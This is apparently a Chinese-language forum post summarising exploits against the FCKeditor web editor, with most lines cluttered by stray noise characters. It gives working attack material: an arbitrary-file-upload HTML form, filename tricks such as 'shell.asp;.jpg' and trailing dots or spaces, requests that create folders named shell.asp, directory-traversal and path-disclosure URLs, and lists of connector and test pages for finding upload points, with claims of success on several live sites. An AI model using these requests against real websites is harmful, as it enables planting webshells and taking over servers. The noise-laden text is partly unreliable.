Fckeditor漏洞利用总结 6 F) R9 c# }) ?+ s0 N% k
查看编辑器版本% Z/ G+ `; ?, Q( ]6 T2 k: p: H
FCKeditor/_whatsnew.html4 V' B. b3 {# r4 G
—————————————————————————————————————————————————————————————
, g1 Y2 i+ d3 [; [
+ `0 U8 a0 r. }; ]' I# K$ c2. Version 2.2 版本
2 f' M" [2 o) t- r) X+ u( Y; aApache+linux 环境下在上传文件后面加个.突破!测试通过。
g. ^3 X/ f5 t4 x' ^& q—————————————————————————————————————————————————————————————
& ]; Y% L0 r0 {$ C' _( A! t& |6 _( k1 o7 j( W9 B* @# \
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
; a3 n: i; C$ Y! L) D( t9 k<form id="frmUpload" enctype="multipart/form-data"
# E3 w8 y" M! w4 \$ Naction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br># T: |+ {" }! Q n0 ]4 b, ]( j
<input type="file" name="NewFile" size="50"><br>
3 \' t1 ~9 d B. S<input id="btnUpload" type="submit" value="Upload">' R3 L2 z8 d( N) w5 p5 m/ z8 y
</form>
6 w, _) A7 G/ [' C0 y+ m2 X4 h% G' g—————————————————————————————————————————————————————————————2 D- N/ @, O2 A# o
, P3 g" V; m& Y/ o. P: j+ W, U2 L
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法! A4 R" @% K" Z; A5 R' E' _: p3 ]
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
( ?/ N, B! X$ C: M 4.1:提交shell.php+空格绕过% ~/ @0 o$ {2 t* U h/ }
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。; i9 `0 M% i L, X+ M# a: I
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。# f3 A1 h# [, e! s) I
—————————————————————————————————————————————————————————————
# y/ W+ D, \ `. C1 I# p8 E T
+ w, Z1 M9 P1 K9 j1 n/ V0 b5. 突破建立文件夹
) P* I5 ?, A8 u- fFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
( {- y; d4 S, E; i& S/ n! vFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
" @/ } P K9 n& `0 ?+ ~. X—————————————————————————————————————————————————————————————6 j* D ?4 A' f0 W
! v+ D a9 n% U' c1 S0 ] J5 D6. FCKeditor 中test 文件的上传地址7 L6 y+ a* J7 R/ M, F
FCKeditor/editor/filemanager/browser/default/connectors/test.html
& S S. B/ C: U1 pFCKeditor/editor/filemanager/upload/test.html2 F) I( t/ S; \( A, |. C* v F
FCKeditor/editor/filemanager/connectors/test.html
4 h3 s; A4 T) I- I' d4 fFCKeditor/editor/filemanager/connectors/uploadtest.html
2 O/ n0 C3 s. M& f5 r—————————————————————————————————————————————————————————————, K* `$ Y- Y4 A5 L) e+ r5 N/ N6 Q% g
# {9 L: i. v; K5 j1 l
7.常用上传地址
% w" `. K1 `: z$ ~) Y! oFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/0 I( p- O9 O3 x8 v h
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
) [1 M: N4 r* G: R) |- uFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)% p$ g/ t- G. R- q( Q6 }2 h( i
JSP 版:
! |0 a7 f" Q0 [! L% B, {: r6 RFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
/ ^4 } N+ O5 _" o注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
u x1 ^0 t2 Z; s" A1 _7 A. Q件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
4 ?4 \1 M1 Y( Y) C& V* q8 A6 V—————————————————————————————————————————————————————————————
! ?* a- z6 N6 t. o
- q6 U6 E. W# m9 `7 H. a8.其他上传地址
; d, H4 k1 H$ D' \2 xFCKeditor/_samples/default.html5 g% U- g$ m* S! ]
FCKeditor/_samples/asp/sample01.asp
/ K- t Q7 M, J, K3 SFCKeditor/_samples/asp/sample02.asp
$ \0 B' l0 y' K5 p6 T' t" e WFCKeditor/_samples/asp/sample03.asp6 A* x, d2 s3 m0 }: @ ^! ]
FCKeditor/_samples/asp/sample04.asp: w/ L+ F; }! W7 ^& J- t. G0 J7 b8 y! a
一般很多站点都已删除_samples 目录,可以试试。
7 @& D8 e9 R7 Q# EFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
5 w/ P/ m( ]8 b# j- _: m—————————————————————————————————————————————————————————————4 I% `9 z3 U0 t! C% p; [
- T, g5 F: V* A/ W% j2 P
9.列目录漏洞也可助找上传地址
8 K7 c8 [( ~. J$ V RVersion 2.4.1 测试通过
) ` U. m/ |+ x8 J修改CurrentFolder 参数使用 ../../来进入不同的目录
9 X4 _4 y/ B3 m9 q/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
5 U6 D. _$ W% S( n. K根据返回的XML 信息可以查看网站所有的目录。2 ^: S: `0 ~; b) w" u
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F1 M* m1 h8 R; I- V6 E' P
也可以直接浏览盘符:0 u% x) q5 n; E
JSP 版本:
* v. D. p2 @0 ], YFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F! a; }$ z8 A$ I, |. s+ {/ I d
—————————————————————————————————————————————————————————————8 }9 c( t+ g3 l$ n3 V0 I& H
4 o D8 }. w) A/ M: R) e* X10.爆路径漏洞$ @ N* |4 y) s/ a5 k0 l& M2 _
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
6 d3 w9 C+ c; _" L) E5 ^% ^3 a—————————————————————————————————————————————————————————————2 R1 F7 n) G- M# s% o
* F6 b; ^( e5 Y' f- q. k5 m11. FCKeditor 被动限制策略所导致的过滤不严问题
7 J! |; H, W# i 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
1 x5 F. L \+ I% @1 b" W& W) {" w脆弱描述: i) h6 |" q1 a
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
- X( _" w2 m9 J/ I0 Lhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm2 x6 W' T9 s# F: {, m( s
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
_- D v) }6 R% f 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
- I6 J! x' f( z3 F8 s7 H 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!! E# o3 y8 r" r, b W
—————————————————————————————————————————————————————————————6 ^+ M8 S# |; v# G* c( L
) ^- D1 f; [" C# |
12.最古老的漏洞,Type文件没有限制!' Y. N: P, O0 X% H' n
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
# D3 M5 l. z ?% Y- Q9 i—————————————————————————————————————————————————————————————
! ^" D2 {, {3 @( r
, H$ P, b8 ^% d8 q( _===============================================================================================================================================
" F9 M8 D3 H, M8 z- F( P1 Y' N$ @9 p0 f7 B- x% \+ [) z
FCK编辑器jsp版本漏洞:
1 l: g& z& P! S0 X
# Y% t2 I. e2 |- ~% x( C8 ~! P2 Q$ x: g9 ], z
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F. \' k3 o0 s6 o+ W% R
5 z% S" g7 a+ Y上传马所在目录6 o% J" K$ @4 N. c# m; V* J! ~" b1 ~
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
, M4 r6 {7 J3 ~7 G: A% L/ l上传shell的地址:
9 m2 p N3 z4 z+ X$ g4 [2 Lhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector$ W: _4 F3 }2 N2 E, E, M
跟版本有关系.并不是百分百成功. 测试成功几个站.
% P. N( d% g! _. D不能通杀.很遗憾.3 J4 j/ h. d, u4 m: [) u) M
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
" Q: F2 |% W# f( |如果以上地址不行可以试试
Q3 Q1 e( J T+ H, [FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
5 N X$ W/ M" _6 S% z+ HFCKeditor/_samples/ a! T& n# c. L7 a. ^2 F. @+ ^6 X
FCKeditor/_samples/default.html
& w' \8 Q' `1 c* UFCKeditor/editor/fckeditor.htm; c E% X9 c! a* L: h$ ~4 M& c, i
FCKeditor/editor/fckdialog.html7 ?* Z/ z3 a5 q9 E* V0 k
: m5 R' [) l, M# R- Z0 y ?
! f) y; | R4 J s+ i/ A* |4 m; A" U
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
$ f4 D$ F" u( u/ K- J |